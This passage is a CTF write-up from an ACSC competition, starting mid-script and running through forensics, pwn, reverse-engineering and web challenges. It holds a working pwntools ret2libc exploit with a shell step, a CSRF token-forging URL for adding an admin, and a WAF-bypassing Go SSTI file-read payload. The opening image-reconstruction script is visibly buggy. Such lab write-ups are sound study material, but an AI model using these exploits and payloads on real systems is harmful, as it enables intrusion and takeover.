05dc7ba684fc304d3ec7a2ec27611e34eeceebf0cf37c4ec45397da57fd45c17ff72fbbec2791f115fe25b97c4b72cee31e6f9479be51e4f945f2fcb1bea5fbca7088d40446c5cb743e22fb87c4eefbe56e7f2c0ee7bbff00608d53dffea23a9f9424c2efa7ee4e5b7823ca7dff00e479514ef7fa4a374f994355f6a9e7f097b45ef155651cc13f9827128dcf9886d7e19cc10fb235cb502963676fa20172e5cb97162f78c3a6b49d937d6004a361acc211e278ba1de9de9dc65bcb2de597dfea5c58b179977e398b868e6a2968be61865095a8181bbf641767cca12bbb078b1da0cc61da6e3dc5b0db1fb6076e3e7f847685ed781b87985bf84d42b80d53ef00d3de9c45ed38d0f04b77cef7e607ff00712f127695e454'],[0x510000000271,'9014e053a90d1c4ec4389d4c9a29c4ee703d072290d14c9480d0202940210d90140000000214000000000f05722000f74752820326884360c94a60d14000000032528000000000000050000000000000000010f29e6a8014fa31a00000000000000000a0800000000000000001480a00000000000008014e2786a0068fa5000000000000000000a4000000000000000001410a000000000000000087cdac80763dd0000000000000000000000000000000000050000000000000000002029f3eb9007a8f54000000000000000000000000000000000500000000000000000000801e5af2807b63b800000000000000000000000000000000a00000000000000000000200723c1429f423601410000000000000000000000000000000a000000000000000000080a64f99429f4e0000000000000000000000000000000000500000000000000000000000f9543a1f4620000000000000000000000000000000050000000000000000000000003e550f41ed810a01000000000000000000000000000014000000000000000000000000f9543d67aa00100000000000000000000000000000050000000000000000000000010f9754f747600100000000000000000000000000001400000000000000000000000003e5553e9468000000800000000000000000000000280010a0000000000000000000000f955a3e9c0000000800d9a0'],[0x5100000008c5,'2d4c75c6b974b9df2df3eacf363a2fa5d10973cab345dcd75cabc350c821000536778871acc7797d1664e6ce19810179ba534ce9074518382d3b5bcca000004050210cc43d71d0ccb9e56ac4c759cf4e93666a6a071ed873def1bdef9706349e89d68cd98acd1535da5b3e5e8294000850688521df2ef5939b383bcd73b8e4532d54b73a96ac66994351ad5b84a0280400140193303d0758ce6cc510bb9cf7391d27497196371b9ae7d7379eb5359d72a9d1b4ba358d4e740d76cdb3cda9904040432a000043a6668e9664eabcd9c034532914834093566a6d84a0052000028193303b9e8886396a2a4d6e5e93cc659dced9b88c52cdce9cf7cba933ac0ad43d18b796a037d73ad4f36a60100002c4290b010d65d59964050520228d14001ae7594005000002810cc43a9ea246796b32cb1a379cd72286a213a18d4ef9acef96b1921d0eb2eb8ea40d6e6ba67cfa980081410a0400192c754e6081601429010a400b1ab00a000000144310367ac918c54b2c9a3500842b519d10e91959660c9a8d97377cb435a9aeb3cdace4a404500000406491bad10852820364219340a60cc6ac028000008b414b1b29a282c25a5d48648428068a0842101acd9cb48b66fb67cda901144000001010cc4340cd20521414a0b029a3956ac1400160346e36010c98327ac44c598d089bed9950e6733a9d4a0a400a019c5cf2a29aed3cfbcc04bf9e'],[0x510000003eff,'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'],[0x5100000029b3,'967bc2730f9a529597a525331c365782c5e1dccf09f2ec8420d931aec4cb62699016b47584ef13b0becb9a64669f2bc162eb84e274b706afc54c702243074898db42bb188688fd0a753e56a1b63b691d83d085de4b97a16af7a1a6266f8ba9887a43ce50b8fc44d833da84d28d4ea3d2fa5f392327a1a1f1385e037c4e3d8c5f0742a85c10272d523d38d34b1912187d6da26e3968cbe0beea7e53d161710a51646ba1fe46ad8858f818b0c5d2c7c4a51b24f05efa975317436275f894621088d05cae1a3136e21387d4fa91c314aaf0d5784f11270b24ee69df10641a13423b09d3827c38c55ea30416ca2d8e94a8f45f65768f7c264253c04b3e1be18904cc1254dbb3050a387574512a1e305c0eec7773e1427c37c41ed5162c8813a6728991ae98345599d1985269fd96d23fb1fd0a737bcf151db45b82d8bc9a54544107f63fb1fd0fe9e34c98620da2e68bbf918d1190825dbc2727076d957627fe9506d968796895a17e263d18641b7d1968af44b46087f41755e613b7af46488ca2b8422fd3060c15157e14a28a29a22a24bd981bd784d264445e15e213befe82ff000c99b070acbde62a4cc53146cfd8d0760efb1a74d3c18a257d11fe0aefd85a88f47fb3fd9af10842108421084e5a1ec7628c096448beb418dde281cd90f01796355f12f86c6427895e1bd75b29595c94bd11611f844d1a6871e8aba2ac836af01649']]
s=sorted(s)

data=''
for i in range(30):
    assert len(s[i][1])==len(s[0][1])
    b+=data[i][1]
    
f=open('img.jpeg','wb')
f.write(bytes.fromhex(data))

This time, my guess was right, but the image blurred, so i have to guess the flag and once again, by luck, i got the flag correctly (I got 10 minutes left when i solved this chall).

Flag is: ACSC{1tW@sE@syW@snt1t}

Pwnable

Vaccine

Information

CategoryPoints
Warmup + Pwn50

Description:

Give me the correct vaccine to view my secret

Solution

We first need to build a docker from the Dockerfile to get the right version of libc for our binary.

Analyse the program, i notice that there’s only the main() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rbx
  char v5[112]; // [rsp+10h] [rbp-170h] BYREF
  char s2[112]; // [rsp+80h] [rbp-100h] BYREF
  char s[104]; // [rsp+F0h] [rbp-90h] BYREF
  FILE *v8; // [rsp+158h] [rbp-28h]
  FILE *stream; // [rsp+160h] [rbp-20h]
  int i; // [rsp+16Ch] [rbp-14h]

  stream = fopen("RNA.txt", "r");
  fgets(s, 100, stream);
  printf("Give me vaccine: ");
  fflush(_bss_start);
  __isoc99_scanf("%s", s2);
  for ( i = 0; ; ++i )
  {
    v3 = i;
    if ( v3 >= strlen(s2) )
      break;
    if ( s2[i] != 65 && s2[i] != 67 && s2[i] != 71 && s2[i] != 84 )
    {
      puts("Only DNA codes allowed!");
      exit(0);
    }
  }
  if ( strcmp(s, s2) )
  {
    puts("Oops.. Try again later");
    exit(0);
  }
  puts("Congrats! You give the correct vaccine!");
  v8 = fopen("secret.txt", "r");
  fgets(v5, 100, v8);
  printf("Here is your reward: %s\n", v5);
  return 0;
}

It’s a simple buffer overflow exploit. To bypass the strcmp() we only need to input a bunch of NULL char (0x00). However,the ‘secret.txt’ file doesn’t contain the flag.

Now simply just take control of the shell by ret2libc technique since we already have the right libc version.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

exe = ELF('./vaccine')
libc = ELF('./libc-2.31.so')

#io = remote('vaccine.chal.ctf.acsc.asia', 1337)
io = exe.process()
#gdb.attach(io, api=True)
#context.log_level = 'debug'

# Gadgets:
puts = 0x0000000000084420 # Offset that we took from the libc
pop_rdi = 0x0000000000401443
ret = 0x000000000040101a
main = 0x0000000000401236

# Leaking libc
io.recvuntil(b'vaccine:')
payload = b'\0'*264
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(main)
io.sendline(payload)
print(io.recvuntil(b' reward: '))
print(io.recvuntil(b'\n'))
leak_puts = int.from_bytes(io.recvline(keepends=False), byteorder='little')
print(hex(leak_puts))
libc.address = leak_puts - puts
print(f'Libc base: {hex(libc.address)}')

one_gadget = 0xe3b01
payload = b'\0'*264
payload += p64(libc.address + one_gadget)
io.sendline(payload)
time.sleep(0.5)
io.sendline(b'cat flag.txt')
io.interactive()

Run the script in remote and we will get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[*] '/mnt/d/ctf/pwn/acsc/vaccine/bin/vaccine'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] '/mnt/d/ctf/pwn/acsc/vaccine/bin/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to vaccine.chal.ctf.acsc.asia on port 1337: Done
b' Congrats! You give the correct vaccine!\nHere is your reward: '
b'your flag is in another castle\n'
0x7f62767bf420
Libc base: 0x7f627673b000
[*] Switching to interactive mode
Give me vaccine: ACSC{RoP_3@zy_Pe4$y}

Flag is: ACSC{RoP_3@zy_Pe4$y}

Reverse Engineering

serverless

Information

CategoryPoints
Warmup + RE80

Description:

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with “acscpass” as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

1
MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

Solution

Deobfuscate the script given, we know that our message is encrypted by a function with pass ‘acscpass’. Analyze the function, i can see the main part of this function is actually RSA encryption.

With all parameters of RSA encryption has been given, we can easily decrypt and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *

data = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232][::-1]
key = "acscpass"
for i in range(len(data)):
    data[i] ^= ord(key[i % 8])
# j = 6
# k = 3
# s = 3
data = data[:-3]
x = 0
j = 0
for i in data:
    x += i * pow(2, j * 8)
    j += 1

t = pow(2,pow(2, 3)) + 1
n = 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699 * 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67

phi = (0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699 - 1)*(0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67 - 1)
d = inverse(t,phi)
v = pow(x,d,n)
flag = ''
while v > 0:
    flag += chr(v & 0xFF)
    v >>= 8
print(flag[::-1])

Flag is: ACSC{warmup_challenge_so_easy}

ngo

Information

CategoryPoints
RE120

Description:

Link

Solution

I tried to run ngo.exe, but it only printed out the first 7 characters of the flag.

Load this in IDA, I checked for the function that prints out flag and got this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_14000161F()
{
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v2; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  sub_140001780();
  sub_1400015E2("The flag is \"ACSC{");
  v4 = 1i64;
  for ( i = 0; i <= 11; ++i )
  {
    for ( j = 0i64; j < v4; ++j )
      v2 = sub_140001550();
    sub_14000159C((unsigned int)(char)(v2 ^ byte_140008010[i]));
    v4 *= 42i64;
  }
  sub_1400015E2("}\".\n");
  return 0i64;
}

Rewrite it using Python:

1
2
3
key = 0x3D2964F0
for j in range(round):
	key = (key >> 1) ^ (-(key & 1) & 0x80200003)

It is impossible to get the flag using the original logic, because the for loop would have to run about 10 ** 16 times for the last character to be printed out. Then I did some research (also asked ChatGPT) and found this Github

After reading this, I got to know that every state of the variable key (0x00000000 to 0xFFFFFFFF) using this algorithm has a cycle of 2 ** 32, meaning that we can modulo the variable round by 2 ** 32 for each character.

1
2
3
4
5
6
7
8
9
10
11
12
13
data = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7,0x81, 0x21]
key = 0x3D2964F0
cnt = 0
total = 0
print('ACSC{', end='')
for i in data:
    total = pow(42,cnt)
    rnd = total % 0xFFFFFFFF
    for j in range(rnd):
        key = (key >> 1) ^ (-(key & 1) & 0x80200003)
    print(chr((key ^ data[cnt]) & 0xFF),end='')
    cnt += 1
print('}')

Flag is: ACSC{yUhFgRvQ2Afi}

Web

Admin dashboard

Information

CategoryPoints
Web100

Description

I built my first website, admin dashboard with bootstrap and PHP! Feel free to try it! Hope there is no bug..

Solution

Analyzing the source given, i found an endpoint /addadmin.php that we need to have role admin with its crsf token.

Another endpoint is in /report.php, which create csrf-token correspond to user-session and the token will change after 30 seconds or users reenter the endpoint. When we send an url , a bot will visit that url. Therefore, the goal is to make the bot add an fake account with role admin by feeding payload entering addadmin.php.

Specifically , the payload is a get request as the form in the source get data via $_REQUEST, so both post or get method will work.

1
http://<challenge-server>/addadmin.php?username=Onirique&password=123&csrf-token=<admin_token>

The csrf-token is create via linear congruential generator (LCG), with known modulo $M$ and unknown multiplier $A$ and increment $C$

1
2
3
X0 = [username]
X1 = (A * X0 + C) [mod M]
X2 = (A * X1 + C) [mod M]

We can easily compute A,C using these two equations by getting my own X0,X1,X2:

1
2
C = (X1*X1-X2*X0)*(X1-X0)^-1 [mod M]
A = (X1-C)*(X0^-1) [mod M]

Finally, we can generate csrf-token for admin by compute X1 with known X0 and LCG parameters. As i computed all these by hands, there is no script in this wu :)).

Flag is: ACSC{C$rF_15_3VerYwh3Re!}

easySSTI

Information

CategoryPoints
Web200

Description

Can you SSTI me?

Solution

Based on this article, I understand that I can call any function just like how we exploit SSTI via Python.

Reading the source, I found that in the middleware, it retrieves the Template header, converts it into a byte array buffer, and sets the “template” variable for the context. Then, it gets the “template” variable and returns it to the client if the template is not empty. Now, I can craft a simple payload to retrieve the flag file: {{.File “/flag”}}.

However, I also need to bypass the WAF, since it blocks the word “ACSC”. So, I need to find a way to encode or cut the string. And i came up with this payload:

1
{{(.Echo.Filesystem.Open ("../Flag")).Read (.Get "template")}} {{slice (.Get "template") 1}}

alt text

Convert those number to Ascii character to get the flag.

Flag is: ACSC{h0w_did_y0u_leak_me}

This post is licensed under CC BY 4.0 by the author.